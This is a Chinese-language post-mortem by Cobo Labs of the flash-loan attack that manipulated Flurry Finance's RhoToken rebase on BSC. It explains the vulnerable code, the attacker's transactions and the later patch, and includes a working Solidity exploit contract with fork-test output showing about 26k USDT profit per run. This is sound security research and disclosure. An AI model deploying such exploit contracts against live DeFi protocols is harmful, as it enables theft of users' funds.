此篇文章由 Cobo 区块链安全团队供稿,团队成员来自知名安全实验室,有多年网络安全与漏洞挖掘经验,曾协助谷歌、微软等厂商处理高危漏洞并获致谢,在微软 MSRC 最有价值安全研究员 Top榜单中取得卓越的成绩。团队目前重点关注智能合约安全、DeFi安全等方向,研究并分享前沿区块链安全技术。
我们也希望对加密数字货币领域有研究精神和科学方法论的终身迭代学习者可以加入我们的行列,向行业输出思考洞察与研究观点!
此篇是Cobo Labs的第 10 篇文章
事件概述
2 月 22 日,BSC 链上的 Flurry Finance 遭到闪电贷攻击,导致协议中 Vault 合约中价值数十万美元的资产被盗。
本次攻击受影响资产数额相比一起知名攻击事件不算高,但攻击过程中有许多有趣的技术细节值得关注,因此成文深入分析。
与经典的闪电贷操纵预言机的攻击手段不同,此次攻击利用了 Flurry Finance 中 RhoToken 代币的 rebase 机制。由于 rebase 过程中参数计算受协议外部 bank 合约中代币总量的影响,攻击者通过闪电贷借出 bank 中的资产后触发 rebase,使 RhoToken 数量缩减。此时铸造大量 RhoToken,再次触发 rebase 使 RhoToken 增长到正常数量,使自己持有的 RhoToken 数量增加,从而实现获利。
Flurry Finance 简介
Flurry Finance 是一个收益聚合协议,用户可以向协议中存入稳定币(如 USDT, USDC, BUSD 等),通过协议内置的多种投资策略获取收益。Flurry Finance 支持的 DeFi 投资目标[1]包括 Venus Protocol, Aave, Rabbit Finance 等。
在 Flurry Finance 的合约实现中,每种稳定币均会存储在协议单独的 Vault 合约中。每个 Vault 合约内置若干针对该稳定币的投资策略,协议通过调用这些策略合约进行投资获取收益。
用户向 Vault 存入稳定币后,会 1:1 获得对应的 RhoToken 代币作为凭证。Flurry Finance 实现收益分配的方式是在 RhoToken 中引入了 rebase 机制。RhoToken 采用弹性供应量的模式,用户的余额与 RhoToken 合约中的 multiplier 值有关。协议投资获取收益后,会根据收益进行 rebase,使 multiplier 增大,在用户侧体现为 RhoToken 的余额增多。用户仍可以 1:1 从 Vault 合约中将 RhoToken 赎回为原始存入的稳定币资产,从而获取收益。
值得说明的是,考虑到许多 DeFi 合约不能处理 rebase 类型的 ERC20 Token,RhoToken 要求合约账户需要主动调用
setRebasingOption(true)
开启 rebase 机制,否则默认不会进行 rebase。RhoToken 合约(0x228265b81Fe567E13e7117469521aa228afd1AF1)中余额计算相关代码如下,可以看出用户手中的余额将随着 multiplier 动态变化,经过 rebase,用户手中的余额会随着 multiplier 增大而增多。
contract RhoToken is IRhoToken, ERC20Upgradeable, AccessControlEnumerableUpgradeable {
function balanceOf(address account) public view override(ERC20Upgradeable, IERC20Upgradeable) returns (uint256) {
if (isRebasingAccount(account)) {
return _timesMultiplier(_balances[account]);
}
return _balances[account];
}
function _timesMultiplier(uint256 input) internal view returns (uint256) {
return (input * multiplier) / ONE;
}
}rebase 时 multiplier 计算核心代码在
Vault.rebase()
函数中(0xec7fa7a14887c9cac12f9a16256c50c15dada5c4),代码如下。可以看出 multiplier 与 Vault 关联的所有 strategy 合约投资的 TVL 总和正相关。投资过程中收益累积可以使所有 strategy TVL 总和增加,这样 RhoToken 对应 multiplier 也会增大,触发 rebase 后投资者手中的 RhoToken 余额也会变多,从而可以赎回更多的原始稳定币资产。contract Vault is IVault, AccessControlEnumerableUpgradeable, PausableUpgradeable, ReentrancyGuardUpgradeable {
/* asset management */
function rebase() external override onlyRole(REBASE_ROLE) whenNotPaused nonReentrant {
IVaultConfig.Strategy[] memory strategies = config.getStrategiesList();
uint256 originalTvlInRho = rhoToken().totalSupply();
if (originalTvlInRho == 0) {
return;
}
// rebalance fund
_rebalance();
// 计算所有投资策略中的资产总和
uint256 underlyingInvested;
for (uint256 i = 0; i < strategies.length; i++) {
underlyingInvested += strategies[i].target.updateBalanceOfUnderlying();
}
uint256 currentTvlInUnderlying = reserve() + underlyingInvested;
uint256 currentTvlInRho = (currentTvlInUnderlying * rhoOne()) / underlyingOne();
uint256 rhoRebasing = rhoToken().unadjustedRebasingSupply();
uint256 rhoNonRebasing = rhoToken().nonRebasingSupply();
// ... 略去一些 fee36 相关的手续费计算代码
uint256 newM = ((currentTvlInRho * 1e18 - rhoNonRebasing * 1e18 - fee36) * 1e18) / rhoRebasing;
rhoToken().setMultiplier(newM);
}
}任何用户均可以调用
FlurryRebaseUpkeep.performUpkeep()
(0x10f2c0d32803c03fc5d792ad3c19e17cd72ad68b)来主动触发 rebase 过程。如下:contract FlurryRebaseUpkeep is OwnableUpgradeable, IFlurryUpkeep {
function performUpkeep(bytes calldata performData) external override {
lastTimeStamp = block.timestamp;
for (uint256 i = 0; i < vaults.length; i++) {
vaults[i].rebase();
}
performData;
}
}漏洞成因
前面提到更新 multiplier 需使用
strategy.updateBalanceOfUnderlying()
方法会取出每种策略的 TVL 对应的底层稳定币数量。这里不同的策略会使用不同的计算方法。Rabbit Finance 投资策略(RabbitStrategy 0xf39444436eb5312d74f71c1fa6e4608efe08e414)会使用如下方法计算:
contract RabbitStrategy is BaseRhoStrategy {
/**
* @dev view function to return balance in underlying,
* @return balance (interest included) from Rabbit protocol, in terms of underlying (in wei)
*/
function balanceOfUnderlying() public view override returns (uint256) {
return
(fairLaunch.userInfo(poolId, address(this)).amount * rabbitBank.totalToken(address(underlying))) /
ibToken.totalSupply();
}
function _updateBalanceOfUnderlying() internal override returns (uint256) {
rabbitBank.calInterest(address(underlying));
return balanceOfUnderlying();
}
}可以看到计算时的公式中用到了
rabbitBank.totalToken()
(0xbeeb9d4ca070d34c014230bafdfb2ad44a110142)。对应的实现如下:library SafeToken {
function myBalance(address token) internal view returns (uint256) {
return ERC20Interface(token).balanceOf(address(this));
}
}
contract Bank is Initializable, ReentrancyGuardUpgradeSafe, Governable,IBTokenFactory {
function totalToken(address token) public view returns (uint256) {
TokenBank storage bank = banks[token];
require(bank.isOpen, 'token not exists');
uint balance = token == address(0) ? address(this).balance : SafeToken.myBalance(token);
balance = bank.totalVal < balance? bank.totalVal: balance;
return balance.add(bank.totalDebt).sub(bank.totalReserve);
}
}
rabbitBank.totalToken()
实际就是取出当前 Bank 合约中所存代币的余额。Rabbit Finance 的 Bank 合约是支持闪电贷的,因此其余额可通过闪电贷进行大幅度的控制。攻击者可通过闪电贷将 Bank 中指定的代币借空,在闪电贷还款前触发 rebase,从而使
RabbitStrategy.updateBalanceOfUnderlying()
返回接近于 0 的较小值,进一步可使对应的 rhoToken 的 multiplier 更新为一个较小的值。此时获取一定数量的 rhoToken 后再次触发 rebase 使用 multiplier 恢复到正常值(即增大)。这就可以使持有的 rhoToken 数量增多,从而获利。这里有一个小问题是 Rabbit Bank 合约的闪电贷实现不支持直接指定回调函数,而是固定会执行一些特定的策略合约。在实际攻击中,攻击者选用了 Rabbit Finance 的 StrategyLiquidate 策略,该策略似乎是用于执行清算的一个辅助策略。该策略可以由用户指定的一个 LP token,由策略合约执行流动性退出的操作。攻击者自行部署了一个恶意的 ERC20 合约,并重写了其中的 approve 方法,并将这个 ERC20 组成 LP 转账给 StrategyLiquidate 合约。当 StrategyLiquidate 合约执行流动性退出操作时,就会调用到恶意的 ERC20 的 approve 方法,从而给了攻击者执行任意代码的机会。
利用这个技巧即可在 Bank 闪电贷还款前执行 rebase 操作,从而实现对 multiplier 的操纵。
攻击流程细节
整个攻击流程中涉及到一些合约地址及交易如下:
攻击者地址
-
0x2A1F4cB6746C259943f7A01a55d38CCBb4629B8E -
0x0F3C0c6277BA049B6c3f4F3e71d677b923298B35
攻击合约
-
0xB7A740d67C78bbb81741eA588Db99fBB1c22dFb7
攻击交易
-
0xd771f2263aa1693bddbcaaf66e2864417d7382c96b706b3894edd024da772009 -
0xff1071c663b4614756d75301ebb207b40174894021542043db7e2227e19dc890 -
0x12ec3fa2db6b18acc983a21379c32bffb17edbd424c4858197ad2286b5e5d00a
受害者 Flurry Finance 相关合约
-
USDT Vault 合约 -
proxy 0x4BAd4D624FD7cabEeb284a6CC83Df594bFDf26Fd -
impl 0xec7fa7a14887c9cac12f9a16256c50c15dada5c4 -
FlurryRebaseUpkeep 合约 -
proxy 0xc8935Eb04ac1698C51a705399A9632c6FaeCa57f -
impl 0x10f2c0d32803c03fc5d792ad3c19e17cd72ad68b -
rhoUSDT Token 合约 -
proxy 0xD845dA3fFc349472fE77DFdFb1F93839a5DA8C96 -
impl 0xbf1b03ef556bb415a8e74a835d1b1ab51bcf9392 -
RabbitStrategy -
proxy 0x4B477C69cd26e5BA42170EdFEe50f4Fdd9194426 -
impl 0xf39444436eb5312d74f71c1fa6e4608efe08e414 -
注:上述合约地址为攻击发生时的地址,攻击发生后官方进行了新的合约部署和升级。
Rabbit Finance 相关合约
-
StrategyLiquidate 合约 -
0x5085c49828b0b8e69bae99d96a8e0fcf0a033369 -
Bank 合约 -
proxy 0xc18907269640d11e2a91d7204f33c5115ce3419e -
impl 0xbeeb9d4ca070d34c014230bafdfb2ad44a110142 -
PancakeswapGoblin 合约 -
proxy 0x5917e3c07ade0b0a827d7935a3b4aace5050d0dd -
impl 0xb2aabc9439354f3a73698f47befd2d7550144cbc
攻击准备
攻击者首先会部署攻击合约,该攻击合约本身也是恶意 ERC20 合约,合约的 approve 方法由攻击者重写,添加了对 FlurryRebaseUpkeep.performUpkeep()
的调用。
接下来调用攻击合约的 init()
方法进行一些攻击前的准备,对应交易0xd771f2263aa1693bddbcaaf66e2864417d7382c96b706b3894edd024da772009
关键的操作包括:
-
调用 rhoUSDT.setRebasingOption(true)
为攻击合约开启 rhoUSDT 的 rebase 功能。 -
调用 PancakeRouter.addLiquidity(USDT, 攻击合约, ...)
将 USDT 和自身组成 Cake-LP(LP 合约地址为 0xc6015317c28cdd60c208fbc58977e77eed534b3a)。 -
调用 Cake-LP.transfer(StrategyLiquidate, 1000)
将上述 LP 转给 Rabbit Finance 的 StrategyLiquidate 合约,为后续攻击作准备。 -
调用 FlurryRebaseUpkeep.performUpkeep()
校正初始的 multiplier 值。
发动攻击
对应交易:0xff1071c663b4614756d75301ebb207b40174894021542043db7e2227e19dc890
调用 Rabbit Finance 的 Bank.work()
方法发起闪电贷,参数如下:
Bank.work(
posId = 0,
pid = 15, // 对应 USDT 资产
borrow = 2,106,492,238,155,585,176,680,697, // 借款数量
data =
(
0x5085c49828b0b8e69bae99d96a8e0fcf0a033369, // StrategyLiquidate 合约
0x40,
0x40,
0xc6015317c28cdd60c208fbc58977e77eed534b3a, // 前面的恶意 Cake-LP 合约
0x2
)
)
该方法会发起闪电贷,并执行 StrategyLiquidate 策略,策略中传入的 LP 参数为之前创建并转入 StrategyLiquidate 中的 Cake-LP 地址。
具体执行时,Bank.work()
会调用 PancakeswapGoblin.work()
,进入 StrategyLiquidate.execute()
。最终执行 PancakeRouter.removeLiquidity(USDT, 攻击合约, ...)
。
由于攻击合约中重写了 approve 方法,removeLiquidity 操作中进行 approve 时,会触发攻击合约中预先写好的操作。也就是执行 FlurryRebaseUpkeep.performUpkeep()
,触发 Flurry Finance Vault 的 rebase。此时闪电贷还没有归还。rebase 完成后,rhoUSDT 的 multiplier 会更新成一个较小的异常值。
接下来则继续正常的 StrategyLiquidate 执行流程。最后完成闪电贷还款。
攻击获利
前面已经将 rhoUSDT 的 multiplier 更新为一个异常值(比正常值要小),接下来要利用这个异常进行获利。
对应交易:0x12ec3fa2db6b18acc983a21379c32bffb17edbd424c4858197ad2286b5e5d00a
具体操作为:
-
攻击合约从 DODO 通过 2 次闪电贷共借出约 38 万 USDT。 -
利用这些 USDT 调用 Flurry Finance 的 Vault.mint()
存入 USDT 并铸造 38 万 rhoUSDT。 -
调用 FlurryRebaseUpkeep.performUpkeep()
触发 rebase 恢复正常的 multiplier 值。 -
rebase 后攻击合约 rhoUSDT balance 变为 42 万,调用 Vault.redeem()
将 rhoUSDT 赎回得到 42 万 USDT。 -
归还闪电贷,攻击合约内剩余获利约 4 万 USDT。
循环
接下来攻击者不断循环 发动攻击
+ 攻击获利
操作 20 余次,将 USDT Vault 中的资产耗尽。需要说明的是,发动攻击
步骤中的 Bank.work()
要求调用者为 EOA,因此攻击者需要该步单独作为一次交易执行,而无法整合在攻击合约中一步完成。
攻击复现
根据前面的分析,可以编写攻击合约,核心攻击代码如下:
contract Exploit{
// ..
function approve(address _spender, uint _value) public returns (bool success){
if(msg.sender == address(strategy)){
IFlurryRebaseUpkeep(rebaseUpkeep).performUpkeep(new bytes(0));
}
allowance[msg.sender][_spender] = _value;
return true;
}
function init() public{
IRhoToken(rhoUSDT).setRebasingOption(true);
IERC20(rhoUSDT).approve(vault, MAX);
IERC20(USDT).approve(vault, MAX);
IERC20(USDT).approve(router, MAX);
IERC20(address(this)).approve(router, MAX);
IPancakeRouter(router).addLiquidity(USDT, address(this), 1e6, 1e6, 0, 0, address(this), block.timestamp);
pair = IPancakeFactory(factory).getPair(USDT, address(this));
IERC20(pair).transfer(strategy, 2);
}
function attack() public{
IDPP(dodo).flashLoan(0, IERC20(USDT).balanceOf(dodo), address(this), new bytes(1));
}
function DPPFlashLoanCall(address sender, uint256 baseAmount, uint256 quoteAmount, bytes calldata data) external {
IVault(vault).mint(IERC20(USDT).balanceOf(address(this)));
IFlurryRebaseUpkeep(rebaseUpkeep).performUpkeep(new bytes(0));
IVault(vault).redeem(IERC20(rhoUSDT).balanceOf(address(this)));
IERC20(USDT).transfer(dodo, quoteAmount);
}
}
Fork BSC 高度 15484858 的区块,依次调用 init()
, attack()
,运行测试如下:
Exploit contract deployed to: 0x4BCD98b42fd74c8f386E650848773e841A5d332B
Assuming that the hacker has 500U.
multiplier 751294863222874013999204681693028833
rhoUSDT 216925749511343748784819
After rebasing:
multiplier 842437939874898598195556764001398961
rhoUSDT 243242021834431727276817
Profit: 26316 $USDT
可以成功获利 26k 美元。注意这只是单次攻击的结果,可多次重复获利。
完整的复现环境见 cobo-blog github[2]。
漏洞补丁
攻击后官方进行了合约升级,修复了前面存在的一些漏洞。
multiplier 和 rebase 机制原本的作用是为给用户分配收益,那么理论上投资不产生亏损的情况下,multiplier 是单向增大的过程,而不应存在变小的情况。该值变小则有可能说明存在安全攻击等异常情况。
因此在新的 USDT Vault implementation 0xD36cb819c9AEc58CBccC60cB3050B352C6c4a776 中添加了一些检查,当 rebase 时检测到 multiplier 变小的异常行为时,交易直接 revert。
contract Vault is IVault, AccessControlEnumerableUpgradeable, PausableUpgradeable, ReentrancyGuardUpgradeable {
/* asset management */
function rebase() external override onlyRole(REBASE_ROLE) whenNotPaused nonReentrant {
vault.rebase();
}
}
library VaultLib {
function rebase(VaultStorage storage self) public {
_rebase(self, true);
}
function _rebase(VaultStorage storage self, bool revertOnNegativeRebase) internal {
// ...
// Rebase
(uint256 oldM, uint256 lastUpdate) = _rhoToken.getMultiplier();
// ... 略去一些没有变化的计算过程。
if (currentTvlInRho < originalTvlInRho) {
uint256 _newM = ((currentTvlInRho - rhoNonRebasing) * 1e36) / rhoRebasing;
// 针对负值更新的检查
// Check for -ive rebase
// This would happen if there are fees deducted when minting deposit tokens
// or when balanceOfUnderlying has gone down compared to previous rebase
// mulitplier is scaled by 36 decimals, allow for an error of 1e25 for multiplier
// 1e25 err in multiplier is equalivant to 1e-2 dollars error for 1 billion dollars.
if ((_newM + 1e25) < oldM) {
if (revertOnNegativeRebase) {
revert(uint2str(_newM));
}
lastUpdate; // not used
emit NegativeRebase(oldM, _newM);
}
_rhoToken.setMultiplier(_newM);
return;
}
// ...
}
}
更为关键的是,在新的 FlurryRebaseUpkeep implementation 中 (0xb4111084730d7c73b22b58c5a0a91ea8790d162d),FlurryRebaseUpkeep.performUpkeep()
被添加了调用权限检查 onlyRole(RELAYER_ROLE)
,不再是任意用户均可调用的。并且在出现 rebase 失败的情况(即检查到了前述异常更新的情况)可自动对合约进行 pause,以保证资产的安全。代码如下:
contract FlurryRebaseUpkeep is AccessControlEnumerableUpgradeable, IFlurryUpkeep {
// 添加 onlyRole(RELAYER_ROLE) 权限检查
function performUpkeep(bytes calldata) external override onlyRole(RELAYER_ROLE) {
lastTimeStamp = block.timestamp;
for (uint256 i = 0; i < vaults.length; i++) {
address underlying = address(vaults[i].underlying());
(uint256 oldMultiplier, uint256 lastupdate) = vaults[i].rhoToken().getMultiplier();
try vaults[i].rebase() {
lastupdate; // not used.
} catch Error(string memory reason) {
emit RebaseError(oldMultiplier, reason);
checkPauseOnError(underlying); // 发生 error 时触发合约 pause
} catch (bytes memory) {
checkPauseOnError(underlying);
}
}
}
}
总结
本次攻击中使用到了伪造 ERC20 重写 approve 方法再利用 Rabbit Finance 的 StrategyLiquidate 合约来执行任意代码的技巧。但这个技巧涉及到的合约代码本身其实并不存在安全问题。
漏洞的本质原因在于协议对 RhoToken 进行 rebase 时计算 multiplier 的公式中依赖于外部可控的数据(Bank 中的 token 数量)。从而使攻击者通过闪电贷的方式实现了对 multiplier 的操纵,进而获利。
开发者在进行项目开发时需要特别注意合约在计算资产数量、价格时是否有依赖外部某些可能被恶意操纵的数据。闪电贷操纵预言机的典型攻击模式其实也是项目中依赖于 DEX 池内代币价格进行了内部某些关键指标的计算导致的。
值得一提的是,在交易分析过程中发现攻击者还用到了另一个合约漏洞,但因为此漏洞实际造成套利数额较小,因此在大部分分析文章中都被忽略掉了,在下一篇文章中将具体解析该漏洞的细节。
参考资料
Flurry Finance 支持的策略: https://docs.flurry.finance/flurry-finance/the-rhotoken/supporting-strategies
[2]cobo-blog github: https://github.com/CoboCustody/cobo-blog/tree/main/Flurry_attack_1
关于亚太最大的加密货币托管及资管平台 Cobo:我们向机构提供领先的安全托管与企业资管业务;我们向全球高净值合格投资人提供加密数字钱包业务和丰富灵活的定期与结构化产品,我们关注金融创新,并于 2020 年第三季度成立了第一家面向全球机构的基金产品「DeFi Foud」。
原文始发于微信公众号(Cobo Labs):Flurry Finance 攻击事件分析与复现(一):闪电贷操纵 rebase 过程